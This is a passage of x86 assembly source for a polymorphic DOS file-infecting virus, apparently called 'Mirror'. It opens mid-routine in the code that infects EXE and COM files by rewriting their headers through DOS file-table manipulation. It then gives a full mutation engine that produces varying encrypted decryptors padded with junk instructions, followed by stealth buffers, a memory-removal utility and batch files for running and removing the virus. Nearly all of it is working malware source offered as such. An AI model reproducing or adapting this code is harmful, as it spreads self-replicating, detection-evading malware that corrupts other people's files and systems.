                push    si
                push    ds
                xor     ax,ax
                mov     ds,ax
                mov     ax,offset Fail - VirusTop
                xchg    ax,ds:[90h]
                push    ax
                mov     ax,cs
                xchg    ax,ds:[92h]
                push    ax
                push    ds
                push    cs
                pop     ds
                mov     ax,ds:SFT_FileSizeL
                cmp     al,0ddh
                stc
                je      InfectError
                mov     ds:FileSizeL,ax
                mov     ax,ds:SFT_FileSizeH
                mov     ds:FileSizeH,ax
                call    CalcImageSize
                sub     ax,ds:SFT_FileSizeL
                sbb     dx,ds:SFT_FileSizeH
                jc      InfectError
                call    Mutate
                call    LastSFT
                and     byte ptr ds:[si+2],0feh
                or      byte ptr ds:[si+2],2
                and     byte ptr ds:[si+4],3ah
                mov     ax,ds:[si+11h]
                mov     ds:[si+15h],ax
                mov     ax,ds:[si+13h]
                mov     ds:[si+17h],ax
                push    cs
                pop     ds
                mov     cx,cs:TotalSize
                mov     dx,offset Buffer
                call    WriteCall
                jc      InfectError
                call    LastSFT
                xor     ax,ax
                mov     ds:[si+15h],ax
                mov     ds:[si+17h],ax
                call    UpdateHeader
                mov     cx,HeaderLength
                mov     dx,offset Header
                call    WriteCall
InfectError:    call    LastSFT
                mov     ax,cs:SFT_OpenMode
                mov     ds:[si+2],ax
                mov     al,cs:SFT_Attribute
                mov     byte ptr ds:[si+4],al
                mov     ax,cs:SFT_DeviceInfo
                mov     ds:[si+6],ah
                mov     ax,cs:SFT_FilePosL
                mov     ds:[si+17h],ax
                mov     ax,cs:SFT_FilePosH
                mov     ds:[si+19h],ax
                pop     ds
                pop     word ptr ds:[92h]
                pop     word ptr ds:[90h]
                pop     ds
                pop     si
                pop     dx
                pop     cx
                pop     ax
                pop     cs:DosFunctionOfs
                ret

;*****************************************************************************;
;                                                                             ;
; Library used by all parts of the virus                                      ;
;                                                                             ;
;*****************************************************************************;

UpdateHeader:   push    cs
                pop     ds
                call    CalcImageSize
                mov     cx,10h
                cmp     dx,cx
                jae     HeaderOk
                div     cx
                sub     ax,ds:HeaderSize
                mov     ds:ExeCS,ax
                mov     ds:ExeIP,dx
                mov     dx,ds:TotalSize
                mov     ds:Signature,dx
                mov     cl,4
                shr     dx,cl
                inc     dx
                add     ax,dx
                mov     ds:ExeSS,ax
                mov     ds:ExeSP,400h
                call    CalcImageSize
                add     ax,ds:TotalSize
                adc     dx,0
                call    SplitImageSize
                mov     ax,(MemorySize - VirusSize + 3fh) / 10h
                add     ax,ds:MinMem
                mov     ds:MinMem,ax
                cmp     ds:MaxMem,ax
                jae     ComFileHeader
                mov     ds:MaxMem,ax
ComFileHeader:  call    CalcImageSize
                jnc     HeaderOk
                sub     ax,3
                mov     ds:JumpOpcode,0e9h
                mov     ds:JumpDisp,ax
HeaderOk:       ret

SplitImageSize: mov     cx,200h
                and     dx,0fh
                div     cx
                mov     ds:PartPage,dx
                add     dx,-1
                adc     ax,0
                mov     ds:PageCount,ax
                ret

FindHandle:     push    ax
                push    cx
                push    ds
                push    cs
                pop     ds
                mov     ax,bx
                cmp     bx,-1
                je      EmptyHandle
                call    GetSFTindex
                jc      HandleNotFound
EmptyHandle:    mov     cx,MaxFiles
                mov     si,offset FileTable - FileTableEntry
NextHandle:     add     si,FileTableEntry
                cmp     ds:[si],ax
                loopne  NextHandle
                pushf
                jne     SpeedUp
                cmp     ax,-1
                je      SpeedUp
                push    dx
                push    si
                push    di
                push    es
                push    cs
                pop     es
                cld
                lodsw
                push    ax
                lodsw
                mov     ds:FileSizeL,ax
                lodsw
                mov     ds:FileSizeH,ax
                inc     si
                mov     di,offset Header
                rep     movsb
                pop     ax
                call    FindSFT
                mov     cx,19h
                mov     di,offset SFT_Entry
                rep     movsb
                pop     es
                pop     di
                call    MutationParms
                pop     si
                pop     dx
SpeedUp:        popf
HandleNotFound: pop     ds
                pop     cx
                pop     ax
                ret

MutationParms:  push    cs
                pop     ds
                mov     ax,ds:FileSizeL
                mov     cx,ax
                add     cx,ds:FileSizeH
                mov     ds:Randomize,cx
                mov     cx,VirusSize + 20h
                add     al,cl
                neg     al
                add     al,0ddh
                xor     ah,ah
                add     cx,ax
                mov     ds:TotalSize,cx
                and     al,3fh
                add     al,20h
                sub     cx,ax
                mov     ds:CodeSize,cx
                mov     ds:DecryptorSize,ax
                call    CalcImageSize
                jnc     ExeOffset
                add     ax,100h
                mov     dx,300h + ComID
                jmp     SetOffset
ExeOffset:      and     ax,00fh
                mov     dx,000h + ExeID
SetOffset:      mov     ds:DecryptorOfs,ax
                mov     ds:ComExe,dl
                mov     ds:MutationFlags,dh
                ret

CalcImageSize:  cmp     cs:Header,"MZ"
                je      ExeFileHeader
                cmp     cs:Header,"ZM"
                je      ExeFileHeader
                mov     ax,1234h
FileSizeL       equ     word ptr [$ - VirusTop - 2]
                mov     dx,1234h
FileSizeH       equ     word ptr [$ - VirusTop - 2]
                stc
                ret
ExeFileHeader:  mov     ax,cs:PageCount
                mov     cx,cs:PartPage
                jcxz    ExactPage
                dec     ax
ExactPage:      mov     dx,200h
                mul     dx
                add     ax,cx
                clc
                ret

SetMCB:         mov     ds:[bx+3],cx
                mov     cl,"M"
                xchg    cl,ds:[bx]
                mov     ds,ax
                mov     ds:[bx],cl
                mov     ds:[bx+1],bx
                mov     ds:[bx+3],dx
                ret

FindMCB:        mov     ax,1234h
FirstMCB        equ     word ptr [$ - VirusTop - 2]
                xor     bx,bx
                mov     cx,cs
                dec     cx
FindNext:       mov     ds,ax
                mov     dx,ax
                inc     ax
                add     ax,ds:[bx+3]
                cmp     ax,cx
                jb      FindNext
                ret

;*****************************************************************************;
;                                                                             ;
; Mutation engine                                                             ;
;                                                                             ;
;*****************************************************************************;
;                                                                             ;
; Entry: Randomize     = Random Number                                        ;
;        DecryptorOfs  = Decryptor offset (Not needed for decryption)         ;
;        CodeSize      = Code size                                            ;
;        MutationFlags = bit 0: assume decryptor ds=cs (com-files)            ;
;                        bit 1: assume decryptor ss=cs (com-files)            ;
;                        bit 7: decrypt mutated virus  (stealth)              ;
;        DecryptorSize = Decryptor size                                       ;
;                                                                             ;
;        cs:[VirusTop] = Code (Not needed for decryption)                     ;
;        cs:[Buffer]   = Buffer (Mutated virus)                               ;
;                                                                             ;
;*****************************************************************************;

Mutate:         push    bx
                push    di
                push    ds
                push    es
                push    cs
                pop     es
                push    cs
                pop     ds
                mov     cx,1234h
CodeSize        equ     word ptr [$ - VirusTop - 2]
                mov     di,offset Buffer
                push    cx                      ; save cx for later use.
                call    InitMutate              ; generate decryptor
                pop     cx                      ; restore cx
                test    ds:MutationFlags,80h    ; 0=encryption, 80h=decryption
                jnz     EncryptDecrypt
                xor     si,si
                cld                             ; copy the code that must be
                rep     movsb                   ;   encrypted

Param1          equ     word ptr [$ - VirusTop + 1]
Param2          equ     word ptr [$ - VirusTop + 4]
Param3          equ     word ptr [$ - VirusTop + 0ah]
Param4          equ     word ptr [$ - VirusTop + 13h]
Param5          equ     word ptr [$ - VirusTop + 17h]

EncryptOpcode   equ     byte ptr [$ - VirusTop + 10h]
CompareOpcode   equ     byte ptr [$ - VirusTop + 15h]
ConditionOpcode equ     byte ptr [$ - VirusTop + 19h]
AddOpcode       equ     byte ptr [$ - VirusTop + 0eh]

EncryptDecrypt: mov     bx,1234h                ; 0000  BB ?? ??
                mov     ax,1234h                ; 0003  B8 ?? ??
Repeat:         mov     dx,bx                   ; 0006  89 DA
                add     bx,1234h                ; 0008  81 C3 ?? ??
                mov     cx,ax                   ; 000C  89 C1
                add     ax,bx                   ; 000E  01 D8
                add     cs:[bx+1234h],bl        ; 0010  2E 00 9F ?? ??
                sub     bx,1234h                ; 0015  81 EB ?? ??
                jnz     Repeat                  ; 0019  75 EF
                pop     es
                pop     ds
                pop     di
                pop     bx
MutationDone:   ret

JumpTable       equ     word ptr [$ - VirusTop]
                dw      InitReg - VirusTop              ; 3 bytes  ; 1  cl&02
                dw      SetDestenation - VirusTop       ; 0 bytes  ; 2  cl&03
                dw      IncReg - VirusTop               ; 4 bytes  ; 3  cl&08
                dw      MoveIndex - VirusTop            ; 2 bytes  ; 4  cl&10
                dw      Memory - VirusTop               ; 5 bytes  ; 5  cl&20
                dw      Compare - VirusTop              ; 6 bytes  ; 6  cl&40
                dw      PrefetchFix - VirusTop          ; 2 bytes  ; 7  cl&80

TrashTable      equ     word ptr [$ - VirusTop]
                dw      IncDecTrash - VirusTop          ; 1 byte   ; 1
                dw      ZeroReg - VirusTop              ; 2 bytes  ; 2
                dw      JumpTrash - VirusTop            ; 2 bytes  ; 3
                dw      InitTrash - VirusTop            ; 3 bytes  ; 4
                dw      AddSubTrash - VirusTop          ; 4 bytes  ; 5
                dw      MemoryTrash - VirusTop          ; 5 bytes  ; 6
                dw      MoveTrash - VirusTop            ; 2 bytes  ; 7

OpcodeTable     equ     byte ptr [$ - VirusTop]
                db      00h,28h,30h,30h
                db      79h,78h,75h,75h

MoveIndex:      xor     cl,30h
                sub     ch,2
Registers       equ     word ptr [$ - VirusTop + 1]
IndexReg        equ     byte ptr [$ - VirusTop + 1]
CounterReg      equ     byte ptr [$ - VirusTop + 2]
                db      0bbh,?,?
                push    cx
                xchg    ax,cx
                mov     cx,0c089h
                cmp     bl,bh
                jne     MakeMove
                mov     ds:FlagsOk,0ebh
CryptReg        equ     byte ptr [$ - VirusTop + 1]
                db      0b3h,?
                test    al,08h
                mov     al,0d8h
                jz      SetAddOpcode
                mov     al,0d0h
SetAddOpcode:   mov     ds:AddOpcode[1],al
                call    Random
                push    bx
                and     ax,3
                xchg    ax,bx
                mov     al,OpcodeTable[bx]
                mov     ah,0c0h
                inc     ax
                pop     bx
                mov     ds:AddOpcode,al
                xchg    ax,cx
MakeMove:       call    Random
                and     al,2
                jnz     DirectionOk
                xchg    bl,bh
DirectionOk:    rol     bl,1
                rol     bl,1
                rol     bl,1
                mov     ah,bl
                or      ah,bh
                or      ax,cx
                stosw
                pop     cx
                ret

                db      2
MoveTrash:      push    cx
                call    RandomRegFF
                and     ax,0707h
                xchg    ax,bx
                mov     cx,0c089h
                jmp     MakeMove

InitMutate:     mov     ds:Reserved,11h
                call    Random
                call    ResetRegZero
                push    ax
                mov     bx,1234h
DecryptorOfs    equ     word ptr [$ - VirusTop - 2]
                mov     si,1234h
DecryptorSize   equ     word ptr [$ - VirusTop - 2]
                add     bx,si
                add     si,di
                mov     dx,bx
                mov     ds:Param3,1
                mov     ds:Param4,si
                mov     ds:Param5,ax
                call    Random
                and     ax,3
                mov     bx,8000h
                mov     ds:JumpType,al
                dec     ax
                js      Ok
                xchg    ax,bx
                mov     ax,7fffh
                je      Ok
                xor     ax,ax
                xor     bx,bx
Ok:             push    ax
                call    Random
                pop     ax
                jpe     Increase
                add     ax,cx
                add     dx,cx
                neg     ds:Param3
                add     ds:Param4,cx
                mov     cx,1903h
                jmp     Decrease
Increase:       xchg    ax,bx
                sub     ax,cx
                mov     cx,1703h
Decrease:       mov     ds:Param1,ax
                call    Random
                and     al,10h
                or      al,0ebh
                mov     ds:CmpSub,al
                mov     ds:CompareOpcode[1],al
                test    al,10h
                pop     ax
                jnz     UseCompare
                add     ds:Param3,ax
                jmp     Skip
UseCompare:     add     ds:Param1,ax
Skip:           mov     ax,ds:Param1
                sub     dx,ax
                add     ax,ds:Param3
                sub     ds:Param4,ax
Again:          mov     bx,offset JumpTable - 2
                cld
                call    Choose
                call    bx
                or      cl,cl
                jne     Again
                ret

Choose:         call    Random
                and     ax,300h
                push    cx
ChooseNext:     inc     ax
                ror     cl,1
                sbb     ah,0
                jae     ChooseNext
                pop     cx
                dec     ax
                and     ax,7
                jz      Trash
                or      cl,1
                add     bx,ax
                add     bx,ax
                mov     bx,ds:[bx]
                ret

Trash:          inc     bx
                mov     ax,si
                sub     ax,di
                jbe     Ready
                sub     al,ch
                ja      NotReady
Ready:          and     cl,0feh
                ret
NotReady:       push    bx
                push    cx
                push    ds:Randomize
                mov     bx,offset TrashTable - 2
                mov     cl,11111110b
                mov     ch,al
                call    Choose
                cmp     ch,ds:[bx-1]
                jae     SizeOk
                mov     bx,offset IncDecTrashAbs
SizeOk:         call    bx
                pop     ds:Randomize
                pop     cx
                pop     bx
                ret

                db      3
InitTrash:      call    RandomRegFF
                or      al,0b8h
StoreRandom:    stosb
                call    RealRandom
                stosw
                ret

InitReg:        xor     cl,06h
                sub     ch,6
                push    cx
                mov     ch,00001111b
                call    RandomReg
                mov     ds:CounterReg,al
                mov     ds:CryptReg,al
                push    ax
                or      al,0b8h
                stosb
                mov     ax,ds:Param1
                stosw
                pop     ax
                mov     bx,cx
                cmp     al,3
                je      IndexRegOk
GetIndexReg:    mov     ch,11101000b
                call    RandomReg
IndexRegOk:     mov     ds:IndexReg,al
                or      ds:Reserved,cl
                cmp     al,ds:CounterReg
                jne     NoCryptReg
                mov     ch,00001111b
                call    RandomReg
                mov     ds:CryptReg,al
                or      al,0b8h
                stosb
                call    Random
                mov     ds:Param2,ax
                stosw
                or      bl,cl
NoCryptReg:     or      ds:Reserved,bl
                pop     cx
                ret

SetDestenation: xor     cl,1ch
                sub     ch,2
                mov     ds:JumpDestenation,di
ResetRegZero:   mov     ds:RegZero,0ffh
                jmp     ResetFlagsOk

                db      1
IncDecTrashAbs  equ     byte ptr [$ - VirusTop]
IncDecTrash:    call    RandomRegFF
                and     ah,8
                or      al,ah
                or      al,40h
Compress1:      stosb
                jmp     ResetFlagsOk

                db      2
FlagsOk         equ     byte ptr [$ - VirusTop]
JumpTrash:      jb      IncDecTrash
                call    RealRandom
                mov     al,75h
                jpe     StoreJump
                mov     al,78h
StoreJump:      stosw
                ret

Memory:         xor     cl,20h
                sub     ch,5
                mov     al,ds:IndexReg
                sub     al,5
                ja      RegOk1
                mov     al,3
                jb      RegOk2
RegOk1:         dec     ax
RegOk2:         or      al,84h
                xchg    ax,bx
                call    Random
                and     al,4
                mov     ah,ds:CryptReg
                or      al,ah
                rol     al,1
                rol     al,1
                rol     al,1
                or      al,bl
                push    ax
                call    MemoryOpcode
                test    ds:MutationFlags,80h
                jnz     Decryptor
Encryptor:      xor     bl,1
Decryptor:      mov     al,OpcodeTable[bx]
                mov     ds:EncryptOpcode[1],al
                pop     ax
                stosb
                and     al,20h
                or      al,87h
                cmp     ah,ds:CounterReg
                jne     NotEqual
                or      al,9fh
NotEqual:       mov     ds:EncryptOpcode[2],al
                xchg    ax,dx
                stosw
SetStatus:      test    cl,38h
                jnz     ResetFlagsOk
                or      cl,40h
ResetFlagsOk:   mov     ds:FlagsOk,0ebh
                ret

                db      2
ZeroReg:        call    RandomRegFF
                not     cl
                and     ds:RegZero,cl
                xchg    al,ah
                and     al,1ah
                test    al,18h
                jpo     OpcodeOk
                xor     al,10h
OpcodeOk:       mov     cl,3
                mov     ch,ah
                rol     ah,cl
                or      ah,ch
                or      ax,0c021h
                stosw
SetFlagsOk:     mov     ds:FlagsOk,072h
                ret

                db      5
RegZero         equ     byte ptr [$ - VirusTop + 1]
MemoryTrash:    db      0b5h,?
                not     ch
                and     ch,0fh
                jz      ZeroReg
                call    RandomRegFF
                and     ah,23h
                mov     cl,3
                rol     al,cl
                or      al,84h
                or      al,ah
                push    ax
                call    MemoryOpcode
                pop     ax
Compress2:      call    StoreRandom
                jmp     ResetFlagsOk

IncReg:         xor     cl,08h
                sub     ch,4
                mov     bx,ds:Param3
                xor     ds:EncryptOpcode[2],8
                mov     ax,ds:Registers
                cmp     al,ah
                je      Adjust
                test    cl,10h
                jz      DoNotAdjust
Adjust:         sub     dx,bx
DoNotAdjust:    call    AddSub
                jmp     SetStatus

Compare:        sub     ch,6
                xor     cl,0c0h
                mov     ax,ds:Param5
CmpSub          equ     byte ptr [$ - VirusTop + 1]
                db      0b3h,?
                xchg    ax,bx
                cmp     al,0fbh
                je      DoNotChange
                neg     bx
                call    AddSubLarge
                jmp     Jump
DoNotChange:    mov     ax,0f881h
                call    AddSubMore
JumpType        equ     byte ptr [$ - VirusTop + 1]
Jump:           db      0bbh,?,0
                mov     al,ds:OpcodeTable[bx+4]
                mov     ds:ConditionOpcode,al
                stosb
JumpDestenation equ     word ptr [$ - VirusTop + 1]
                db      0b8h,?,?
                sub     ax,di
                dec     ax
                jmp     Compress1

                db      4
AddSubTrash:    mov     al,81h
                stosb
                call    RandomRegFF
                and     ah,38h
                or      al,0c0h
                or      al,ah
                jmp     Compress2

PrefetchFix:    or      ch,ch
                je      DontFix
                mov     al,0ebh
                cmp     ds:FlagsOk,al
                je      JumpOpcodeOk
                mov     al,79h
JumpOpcodeOk:   stosb
                mov     ax,si
                sub     ax,di
                dec     ax
                jns     JumpOk
                xor     ax,ax
JumpOk:         stosb
DontFix:        and     cx,1
                ret

AddSub:         cmp     bx,2
                jg      AddSubLarge
                cmp     bx,-2
                jge     AddSubSmall
AddSubLarge:    call    Random
                mov     ax,0c081h
                jns     AddSubMore
                mov     ah,0e8h
                neg     bx
AddSubMore:     or      ah,ds:CounterReg
                push    ax
                mov     al,bl
                cbw
                cmp     ax,bx
                pop     ax
                je      AddSubByte
AddSubWord:     stosw
                xchg    ax,bx
                stosw
                ret
AddSubByte:     mov     al,83h
                stosw
                xchg    ax,bx
                stosb
Return:         ret
Sub1:           inc     bx
                mov     al,48h
AddSub1:        or      al,ds:CounterReg
                stosb
AddSubSmall:    or      bx,bx
                je      Return
                js      Sub1
Add1:           dec     bx
                mov     al,40h
                jmp     AddSub1

MemoryOpcode:   and     al,7
                cmp     al,6
                mov     al,1
                jne     NotBP
                mov     al,2
MutationFlags   equ     byte ptr [$ - VirusTop + 1]
NotBP:          db      0a8h,?
                jnz     DoNotOverride
                mov     al,2eh
                stosb
DoNotOverride:  call    Random
                and     ax,3
                xchg    ax,bx
                mov     al,ds:OpcodeTable[bx]
                stosb
                ret

RealRandom:     xor     ax,ax
                out     43h,al
                call    Random
                push    bx
                xchg    ax,bx
                in      al,40h
                xchg    al,ah
                in      al,40h
                add     ax,bx
                pop     bx
                ret

Random:         mov     ax,1234h
Randomize       equ     word ptr [$ - VirusTop - 2]
                ror     ax,1
                ror     ax,1
                ror     ax,1
                inc     ax
                mov     ds:Randomize,ax
                ret

RandomRegFF:    mov     ch,0ffh
RandomReg:      call    Random
RandomRegNext:  inc     ax
                and     al,7
                xchg    ax,cx
                mov     al,1
                rol     al,cl
                xchg    ax,cx
Reserved        equ     byte ptr [$ - VirusTop + 2]
                db      0f6h,0c1h,?
                jnz     RandomRegNext
                test    cl,ch
                jz      RandomRegNext
                or      ds:RegZero,cl
                ret

;*****************************************************************************;
;                                                                             ;
; Mutation engine ends here.                                                  ;
;                                                                             ;
;*****************************************************************************;

VirusEnd        equ     $

MaxFiles        equ     4
FileTable       equ     [$ - VirusTop]
FileTableEntry  equ     (HeaderLength + 7)
                db      (FileTableEntry * MaxFiles) dup(?)

dwa             macro   ident
ident           equ     word ptr [$ - VirusTop]
                dw      ?
                endm

dba             macro   ident
ident           equ     byte ptr [$ - VirusTop]
                db      ?
                endm

NewExeOfs       equ     dword ptr [$ - VirusTop]
                dwa     NewExeOfsL
                dwa     NewExeOfsH

SFT_Entry       equ     word ptr  [$ - VirusTop]
                dwa     SFT_HandleCount         ; 0
                dwa     SFT_OpenMode            ; 2
                dba     SFT_Attribute           ; 4
                dwa     SFT_DeviceInfo          ; 5
                dwa     SFT_DeviceInfoOfs       ; 7
                dwa     SFT_DeviceInfoSeg       ; 9
                dwa     SFT_Cluster             ; b
                dwa     SFT_Time                ; d
                dwa     SFT_Date                ; f
                dwa     SFT_FileSizeL           ; 11
                dwa     SFT_FileSizeH           ; 13
                dwa     SFT_FilePosL            ; 15
                dwa     SFT_FilePosH            ; 17

StealthNames    equ     byte ptr [$ - VirusTop]
                db      (8 * 0ah) dup(?)

Buffer          equ     byte ptr [$ - VirusTop]
                db      120h dup(?)

MemoryEnd       equ     $

;*****************************************************************************;
;                                                                             ;
; All good things must end. This virus ends here.                             ;
;                                                                             ;
;*****************************************************************************;

code ends

end EntryPoint

8<------------<remove.asm>-------------------------------------------------->8
code segment public 'code'
                assume  cs:code, ds:code, es:code
                org     100h

Main:           mov     ah,9
                mov     dx,offset Msg1
                int     21h
                mov     ax,0fdc8h
                mov     ds,ax
                mov     si,041f9h
                cmp     byte ptr ds:[si],09ah
                jne     Failed
                mov     byte ptr ds:[si],36h
                mov     word ptr ds:[si+1],16ffh
                mov     word ptr ds:[si+3],05eah
                push    cs
                pop     ds
                mov     ah,9
                mov     dx,offset Msg3
                int     21h
                jmp     Exit

Failed:         push    cs
                pop     ds
                mov     ah,9
                mov     dx,offset Msg2
                int     21h

Exit:           mov     ax,4c00h
                int     21h

Msg1            db      'Removing mirror from memory... $'
Msg2            db      'Failed!',13,10,'$'
Msg3            db      'Ok!',13,10,'$'

code ends

end Main

8<--------------<remove.bat>------------------------------------------------>8
@echo off
remove
copy c:\dos\command.com c:\virus\command.com
8<--------<mirror.bat>------------------------------------------------------>8
copy c:\dos\command.com c:\virus\command.com
set comspec=c:\virus\command.com
mirror
